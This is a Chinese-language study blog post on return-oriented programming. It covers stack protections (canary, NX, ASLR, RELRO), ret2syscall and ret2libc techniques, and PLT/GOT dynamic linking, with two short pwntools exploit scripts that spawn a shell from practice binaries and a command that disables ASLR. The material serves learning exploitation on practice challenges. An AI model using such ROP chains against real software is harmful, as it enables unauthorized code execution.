这次主要就是学习了ROP(返回导向编程),跟着PPT还有题目理解了很多rop原理以及汇编细节,在这里感谢好兄弟们的解惑以及小pwn手群的各位师傅。
这次对上一篇补充一些内容以及着重于理解
内存保护措施
canary
canary是金丝雀的意思。在函数返回值之前添加的一串随机数(不超过机器字长),末位为/x00(提供了覆盖最后一字节输出泄露canary的可能),如果出现缓冲区溢出攻击,覆盖内容覆盖到canary处,就会改变原本该处的数值,当程序执行到此处时,会检查canary值是否跟开始的值一样,如果不一样,程序会崩溃,从而达到保护返回地址的目的。一种很强硬的保护措施,就是在中间强插一块数据,前后对比
NX
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址,然后加入shellcode,NX策略是使栈区域的代码无法执行。更强硬,直接不给你执行权限,即使溢出也无法执行攻击代码
PIE
PIE(ASLR),内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
该保护能使每次运行的程序的地址都不同,防止根据固定地址来写exp执行攻击。
打乱程序在内存内的地址liunx下关闭PIE的命令如下:
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
RELRO
Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种,Partial RELRO 和 Full RELRO,即 部分RELRO 和 完全RELRO。
部分RELRO 是 GCC 的默认设置,几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
ret2syscall
什么是系统调用?
- 操作系统提供给用户的编程接口
- 是提供访问操作系统所管理的底层硬件的接口
- 本质上是一些内核函数代码,以规范的方式驱动硬件
- x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用
讲人话我感觉就是,我们写程序system("/bin/sh"),这是系统里自带的。可是系统读取到此代码时,内部是如何调用system的?系统内部有一套代码对应这些函数,系统运行代码时就叫系统调用。而rop就是当程序内没有普通栈溢出条件时,我们利用一些碎片组成那一套系统内的代码,运行后就相当于执行了那个函数。
举个例子,你驾驶播种机去播种,播种机原理是将土翻开,向里面撒种子再将土埋上;但是,现在你没有播种机了,你用手把土翻开,撒种子,再埋土。这就叫系统调用,直接走它内部的流程。
比如我要执行execve("/bin/sh",NULL,NULL)
,程序内并没有现成的代码供我们溢出跳转,所以我们执行此行代码的系统调用即可,已知此行代码对应系统调用为:
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
ROP跳转机制
这里还需要了解rop的跳转机制
左边是程序原本的栈,普通栈溢出只需要将return address
部分覆盖为需要的函数地址,但是没有现成函数时,我们需要进行系统调用。按照上面的代码,首先跳到进行给eax
赋值的代码,先给eax
赋以0xb
,再跳转到给ebx
赋值的地方,给ebx
赋以/bin/sh
,再跳转到ecx
,给ecx
赋以0
,再跳转到edx
,给edx
赋以0
,再跳转到int 0x80
的位置,完成系统调用。
再解释一下相应汇编指令,pop
用于给寄存器赋值,赋值用的参数是在下一个字长,pop
将下一个字长里的数据弹出到寄存器,ret
是将下下个字长的数据弹出到eip,eip
是用于存储下一条命令用的寄存器,所以下一个命令就运行下下个字长那里。
此时再看上图中间的栈帧结构就清晰很多了,首先溢出溢出溢出,将return address
覆写为pop_eax_ret
的地址,这句将下一个字长里的0xb
弹出到eax
里,然后ret指令将下下个字长里的pop_ebx_ret
地址弹出到eip
里,这句结束。到了下一句pop_ebx_ret
,原理同上所述。随后程序运行到最后一句int 0x80
那里结束,此段系统调用等于执行了execve("/bin/sh",NULL,NULL)
ROPgadget
命令用于寻找代码片段,--binary
指令用于指定在哪个程序里寻找,--only "pop|ret"
是只寻找含有pop
和ret
指令同时存在的片段,grep eax
是在前面的结果中搜索含有eax
的片段
例题
ret2syscall
即使PIE和canary关了,由于开了NX,所以无法执行栈上的代码,而已缺少现成函数,我们也无法直接溢出跳转,到这就可以想到ret2syscall了
exp:
from pwn import *
io=process('./ret2syscall')
pop_eax_ret=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
int_0x80=0x08049421
bin_sh=0x080BE408
payload=flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx,0,0,bin_sh,int_0x80])
io.sendline(payload)
io.interactive()
这个exp写出来我自己也挺意外的,地址不用打包?
动态链接过程
上个例题大小七百多k,IDA打开时函数区一大堆函数,因为它是静态编译的,将此程序需要用到的各种库全部打包在一个程序里,这些个库自身里就有着非常多的函数。为什么我们能找到那么多的碎片?就是因为有着这些包含大量代码的库存在。
静态编译的程序很大,运行起来与动态的一模一样。动态编译的程序所用的库是动态链接库,这些库在操作系统里就有,程序运行时直接引用就行了,所以程序自身文件很小。那么很容易想到,倘若系统里缺少相应的动态链接库,则此程序无法运行。由于动态编译的程序特性,IDA打开时函数区只包含与当前程序直接相关的函数,所以ROPgedget找到的碎片也很少。
动/静链接引用点
动态链接相关结构
-
.dynamic section
提供动态链接相关信息
-
link_map
保存进程载入的动态链接库的链表
-
__dl_runtime_resolve
装载器中用于解析动态链接库中函数的实际地址的函数
动态链接调用函数流程
调用libc中的foo函数
首次调用foo函数
跳转到.plt表中的foo表项,.plt中代码跳转到.got.plt中记录的地址
由于进程是第一次调用 foo,故 .got.plt 中记录的地址是 foo@plt+6
回到 .plt 是为了解析 foo 的实际地址
跳转到 .plt 头部为 __dl_runtime_resolve
函数传参
__dl_runtime_resolve
函数解析 foo 的真正地址并填入 .got.plt 中
此后 .got.plt 中保存的是 foo 的真实地址
进程第二次调用 foo
直接自 .got.plt 跳转到 foo 的真实地址,没有了第一次的解析地址过程
流程图如下
简而言之,就是第一次去调用函数,先到plt中找表项然后跳转到got(.got.plt)里找真实地址,got里没有就返回到plt,让他自己去解析真实地址,解析完写到got里。第二次调用时,去plt里找表项然后跳转到got表里就可以直接获取真实地址。取地址从plt里取就行了,反正第几次调用都还是要返回真实地址的。
ret2libc
ret2syscall是调用系统的汇编指令完成系统调用构造链子,而ret2libc是调用libc里的函数,将这些函数连成链子。
简单rop链
如图rop链在栈内表示图
图中函数是从libc里取出的,如system,exit。system
参数是"/bin/sh"
,返回地址是exit
,exit
参数是0
,返回地址是"/bin/sh"
,所以这段链子执行如下代码
system("/bin/sh")
exit(0)
参数位置
为什么参数在函数上第二个字长?第一个却是返回地址?
因为父函数在调用子函数的时候,使用call调用,父函数本来就保存子函数的参数,调用时又会将子函数的返回地址也压入栈,所以通常认为,返回地址(包含返回地址)以上是属于父函数的。
如图虚线以上认为是父函数,往下是子函数
那子函数是如何找到自己的参数的呢?在上篇说过被调用函数局部变量压入栈,如下图
Local address
即被调函数局部变量,上面是调用函数的栈底,这几步又是如何完成的?
拿上面的代码为例,最开始的栈溢出,溢出到返回地址,在这个示例代码里溢出到system,这个返回操作到system即ret system
。此时system
被弹到eip
寄存器,随后进入system
代码。被调函数,第一行往往是push ebp
,也就是把ebp
压入栈,随后将本地变量压入栈。可是变量是保存在父函数的,根据调用约定,本地变量会向上去寻找参数,也就是父函数里的/bin/sh
。调用完,system
结束跳到返回地址exit
,此时exit
同理,往上第二个字长里的数据为参数。
栈平衡
实际上,倘若有多个函数连续调用,往上两个字长就不是参数了,可能是函数,如
exit
gets
puts
system
这种是怎么调用呢?若真这样调用,程序会出错,所以需要栈平衡,在每次调用函数后都会有一条pop ret
指令,函数被调用后,往上两个找参数,结束了,跳到返回地址也就是pop ret
,这条指令会把刚才用的参数pop
掉也就是扔掉,然后ret
到下一条函数。一直下去,这样的话连续调用多少条函数都没事,这就是栈平衡的链子,通常两个函数就够了,所以大多数都是简化的,下图是完整版
一般连续俩函数,用的都是简化的,满足往上两个字长能找到参数就行的那种。
例题
ret2libc1
这道题是最简单的ret2libc题,它预先准备了secure
函数,这个函数没有实际意义,但是这个函数调用了system
函数,这也就意味着可以直接从plt表里获取system函数的真实地址。而且这题的\bin\sh
也给了,IDA可以直接看,也可以用pwntools里相应方法获取。
exp:
from pwn import *
io=process("./ret2libc1")
elf=ELF("./ret2libc1")
system_plt=elf.plt["system"]
binsh_addr=next(elf.search(b"/bin/sh"))
payload=flat([b'A'*112,system_plt,"AAAA",binsh_addr])
io.sendline(payload)
io.interactive()
exp有个地方实操时一直无法获取plt的system,警告说是unicorn模块有问题,我安装了也不成,好像是安装方法有问题,后来更新了pwntools,它自动补全了好多包,然后exp就通了。